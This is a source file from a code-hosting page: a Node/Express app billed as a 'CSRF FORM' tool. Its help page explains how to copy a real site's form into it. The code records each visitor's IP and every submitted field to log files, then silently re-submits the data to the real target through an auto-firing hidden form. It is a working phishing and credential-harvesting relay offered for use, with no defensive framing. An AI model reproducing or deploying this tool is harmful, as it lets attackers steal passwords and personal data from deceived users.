-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
391 lines (353 loc) · 11.5 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
const fs = require('fs');
const express = require('express');
const escape = require('escape-html');
let settings = require('./settings.json');
let seq = 0;
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
const port = parseInt(settings.port);
app.get('/style.css', (req, res) => {
res.send(`
* {
background-color: black;
color: white;
font-family: monospace;
font-size: 18pt;
}
a {
color: yellow;
background-color: black;
text-decoration: none;
}
a:hover {
color: black;
background-color: yellow;
}
input {
margin: 0;
padding: 0;
border-width: 0;
}
input[type='text'], input[type='password'], input[type='number'] {
background-color: white;
color: black;
}
input[type='button'], input[type='submit'] {
background-color: blue;
color: white;
}
.code {
background-color: #808080;
}
.highlight {
color: black;
background-color: c0c0c0;
}
`);
});
app.get('/', (req, res) => {
res.send(`
<html>
<head>
<link rel="stylesheet" href="style.css" />
<script>
function openStaticFolder() {
fetch('/open', { method: "POST" });
}
</script>
</head>
<body>
#################
<br/>
### <b>CSRF FORM</b> ###
<br />
#################
<br />
<br />
<br />
<br />
1. Click <b><a href="/help">here</a></b> to see instructions on how to use this app.
<br />
<br />
2. Click <b><a href="/settings">here</a></b> to edit the settings of this app.
<br />
<br />
3. Click <b><a href="/url-tool">here</a></b> to access the URL conversion tool.
<br />
<br />
4. Click <b><a href="javascript:openStaticFolder();">here</a></b> to open the <span class="highlight">/static</span> folder.
<br />
<br />
5. Click <b><a href="/site">here</a></b> to see your CSRF form.
</body>
</html>
`);
});
let mayOpen = true;
app.post('/open', (req, res) => {
if (mayOpen) {
mayOpen = false;
setTimeout(() => {
mayOpen = true;
}, 5000);
const platform = require(`os`).platform().toLowerCase().replace(/[0-9]/g, ``).replace(`darwin`, `macos`);
let path = require('path').join(__dirname, 'static');
let cmd;
switch (platform) {
case `win`:
cmd = `explorer`;
break;
case `linux`:
cmd = `xdg-open`;
break;
case `macos`:
cmd = `open`;
break;
}
let p = require(`child_process`).spawn(cmd, [path]);
p.on('error', (err) => {
p.kill();
});
}
res.send("");
});
app.get('/help', (req, res) => {
res.send(`
<html>
<head>
<link rel="stylesheet" href="style.css" />
<script>
function openStaticFolder() {
fetch('/open', { method: "POST" });
}
</script>
</head>
<body>
########################
<br/>
### CSRF FORM / <b>HELP</b> ###
<br />
########################
<br />
Click <a href="/">here</a> to return to the main page.
<br />
<br />
<br />
This app allows you to create a tampered form that:
<br />
1. Logs all submitted data.
<br />
2. Submits all data to another web application (efectively doing a CSRF - Cross-site Request Forgery).
<br />
<br />
In order to do that, you must first inspect the HTML source of the form you are going to tamper. Find the <span class="code"><form></span> tag and check out the following attributes:
<br />
<br />
<div class="code">
<br />
<form method=<span class="highlight">"POST"</span> action=<span class="highlight">"/foo/bar"</span>>
<br />
</div>
<br />
<br />
The <b>method</b> attribute indicates whether the form is submitted using HTTP GET or HTTP POST. Your tampered form must use the same HTTP method as the original form. <u>The HTTP method must be configured in the <a href="/settings">settings</a></u>.
<br />
<br />
The <b>action</b> attribute indicates the URL where the form is submitted to. You must convert this to an <a href="https://datatracker.ietf.org/doc/html/rfc3986#section-4.3">absolute URL</a>. You may use the <a href="/url-tool">URL conversion tool</a> to convert it <s>if you are too lazy do do it by hand</s>. <u>The absolute URL must be configured in the <a href="/settings">settings</a></u>.
<br />
<br />
<br />
You must create the tampered form in the <b><u>static</u></b> folder in the project. Click <a href="javascript:openStaticFolder();">here</a> to open it. Everything in that folder is accessible within the <a href="/site">/site</a> path.
<br />
<br />
Make sure to set the <span class="highlight">action</span> attribute of your form to <span class="highlight">"/target"</span>. Also make sure to add all the required <span class="highlight"><input></span> fields in the form.
</body>
</html>
`);
});
app.get('/url-tool', (req, res) => {
res.send(`
<html>
<head>
<link rel="stylesheet" href="style.css" />
<script>
function convert() {
var input1 = document.getElementById('formUrl');
var input2 = document.getElementById('formAction');
var span = document.getElementById('output');
try {
span.innerHTML = 'The absolute URL is <span class="highlight">' + new URL(input2.value, input1.value).href + '</span>';
} catch (e) {
span.innerHTML = '!!! Something went wrong !!!';
}
}
</script>
</head>
<body>
############################
<br/>
### CSRF FORM / <b>URL-TOOL</b> ###
<br />
############################
<br />
Click <a href="/">here</a> to return to the main page.
<br />
<br />
<br />
This is a tool to convert the form URL and its action to an absolute URL. If you don't know why this is here, read the <a href="/help">help page</a>.
<br />
<br />
Form URL: <input id="formUrl" type="text" size="60" />
<br />
This is the URL where the original form is located.
<br />
<br />
Form action: <input id="formAction" type="text" size="60" />
<br />
This is the <span class="highlight">action</span> of the original form.
<br />
<br />
<input type="button" value=" Convert " onclick="convert();" />
<br />
<br />
<span id="output"><span>
</body>
</html>
`);
});
app.get('/settings', (req, res) => {
renderSettings(req, res);
});
app.post('/settings', (req, res) => {
settings = req.body;
fs.writeFileSync('./settings.json', JSON.stringify(settings, null, 4));
renderSettings(req, res);
});
app.get('/site', (req, res) => {
res.redirect('/site/index.html');
});
app.post('/target', (req, res) => {
handleForm(req, res);
});
app.get('/target', (req, res) => {
handleForm(req, res);
});
app.use('/site', express.static('./static'));
app.listen(port, () => {
console.log(`CSRF form app listening on port ${port}`)
});
function renderSettings(req, res) {
let saved = '';
if (req.method == "POST") {
saved = ` <span id="message" class="highlight">The settings have been saved!</span>`
}
res.send(`
<html>
<head>
<link rel="stylesheet" href="style.css" />
<script>
function hideMessageLater() {
let span = document.getElementById('message');
if (span) {
setTimeout(function () {
span.innerText = '';
}, 5000);
}
}
</script>
</head>
<body onload="hideMessageLater();">
############################
<br/>
### CSRF FORM / <b>SETTINGS</b> ###
<br />
############################
<br />
Click <a href="/">here</a> to return to the main page.
<br />
<br />
${saved}
<br />
This is a page where you can edit the system settings. If you don't know what to do here, read the <a href="/help">help page</a>.
<br />
<br />
<form action="settings" method="POST">
Target: <input type="text" value="${escape(settings.targetUrl)}" name="targetUrl" size="60" />
<br/>
This is the absolute URL of the <span class="highlight">action</span> attribute of the original <span class="highlight"><form></span>.
<br />
<br />
Method: <input type="radio" name="httpMethod" value="POST"${settings.httpMethod == "POST" ? " checked": ""} /> POST
<br />
<input type="radio" name="httpMethod" value="GET"${settings.httpMethod == "GET" ? " checked": ""} /> GET
</ul>
<br/>
This is the <span class="highlight">method</span> attribute of the original <span class="highlight"><form></span>.
<br />
<br />
Port: <input type="number" value="${escape(settings.port)}" name="port" size="8" />
<br/>
This is the port where this web server runs. You will need to restart the application for this to have effect.
<br />
<br />
<input type="submit" value=" Save " />
</form>
</body>
</html>
`);
}
function handleForm(req, res) {
let params;
if (req.method == 'GET') {
params = req.query;
} else {
params = req.body;
}
let script = '';
let text = '';
let submit = '';
if (req.method != settings.httpMethod) {
text = `The "method" parameter of your <form> should be ${settings.httpMethod}! Fix that and this page will load automatically`;
submit = `<input type="submit" value="Click here to continue" />`
} else {
script = `
<script>
function triggerForm() {
document.getElementById('form').submit();
}
</script>`
}
const formInputs = Object.entries(params).map(([ key, value ]) => (
`<input type="hidden" value="${escape(value)}" name="${escape(key)}" />`
)).join('\n');
let ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress;
let log = [
`IP: ` + ip,
'--------------------',
...Object.entries(params).map(([ key, value ]) => (
`${key}: ${value}`
))
]
try {
let dir = require('path').join(__dirname, "logs");
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
fs.writeFileSync(require('path').join(dir, Date.now() + '_' + String(seq++).padStart(8, '0') + '.txt'), log.join('\n'));
} catch (e) {}
res.send(`
<html>
${script}
<body onload="triggerForm();">
${text}
<form id="form" action="${settings.targetUrl}" method="${settings.httpMethod}">
${formInputs}
${submit}
</form>
</body>
</html>
`)
}